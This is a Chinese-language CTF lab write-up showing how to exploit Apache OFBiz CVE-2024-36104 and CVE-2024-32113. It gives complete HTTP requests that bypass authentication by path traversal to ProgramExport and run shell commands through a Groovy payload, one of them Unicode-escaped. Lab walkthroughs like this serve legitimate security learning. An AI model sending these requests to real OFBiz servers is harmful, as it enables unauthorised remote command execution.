春秋云境Apache OFBiz---目录遍历致代码执行漏洞 CVE-2024-36104，恶意groovy代码实现任意命令执行CVE-2024-32113

一、CVE-2024-36104

1.拿到环境之后，访问/accounting/control/main

需要抓包把Headers 的 Host改成 localhost，否则报错：

 2.开启burp，打开内嵌的浏览器，修改请求payload（这里Host的端口号要按你自己下发的来）为：

点击查看代码

POST /webtools/control/forgotPassword/ProgramExport HTTP/1.1
Host: localhost:36646
Cookie: JSESSIONID=2A2143A74051B80F86479CE4543B034E.jvm1; OFBiz.Visitor=10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36   OpenWave/93.4.3797.32
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Google Chrome";v="125", "Chromium";v="125", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Priority: u=0, i
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 304

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

 

 

3.在下面响应包里面搜索flag，即可ctf

二、CVE-2024-32113

1.CVE-2024-32113也是同样的原理,访问/webtools/control/ProgramExport,抓包改成localhost：
2.修改请求为POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
3.然后在请求体中打出groovyProgram=throw+new+Exception('your_command'.execute().text);

然后替换your_command变成你想要运行的命令即可，你可以运行whoami，也可以运行ls，或者查找flag的位置find / -name flag
或者直接一步到位cat /flag
4.报错最后就会显示出命令运行返回结果

ps.如果出现错误，请检查是否使用了Content-Type: application/x-www-form-urlencoded来提交表单参数，WebLogic需要这个来正确解析表单数据！

点击查看代码

POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Host: localhost:38529
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
Content-Length: 62
Content-Type: application/x-www-form-urlencoded

groovyProgram=throw+new+Exception('cat /flag'.execute().text);